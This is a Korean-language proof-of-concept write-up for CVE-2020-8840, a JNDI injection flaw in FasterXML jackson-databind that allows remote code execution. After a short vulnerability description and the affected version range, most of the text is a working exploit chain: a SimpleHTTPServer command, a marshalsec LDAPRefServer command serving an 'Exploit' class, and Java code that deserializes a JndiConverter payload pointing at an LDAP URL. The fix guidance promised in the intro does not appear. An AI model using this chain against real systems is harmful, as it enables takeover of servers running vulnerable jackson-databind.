
CVE-2020-8840에 대한 PoC 익스플로잇: FasterXML jackson-databind에서 원격 코드 실행으로 이어지는 JNDI 주입. 환경 설정, 익스플로잇 체인 및 수정 지침을 포함합니다.
jackson-databind는 FasterXML 프로젝트 그룹의 JSON 처리 라이브러리입니다.
2월 19일, NVD는 jackson-databind의 JNDI 주입으로 인한 원격 코드 실행 취약점(CVE-2020-8840)을 공개했으며, CVSS 점수는 9.8입니다. 영향을 받는 버전의 jackson-databind는 org.apache.xbean.propertyeditor.JndiConverter와 같은 일부 xbean-reflect/JNDI 블랙리스트 클래스가 누락되어 있어, 공격자가 JNDI 주입 방식을 통해 원격 코드 실행을 달성할 수 있으며, 공격에 성공하면 서버의 제어 권한(웹 서비스 수준)을 획득할 수 있습니다.
2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2

여기서는 simplehttp를 사용하여 웹 서비스를 구축합니다python -m SimpleHTTPServer 8080

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#Exploit


poc --> ldap --> http
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Poc {
public static void main(String args[]) {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";
try {
mapper.readValue(json, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}
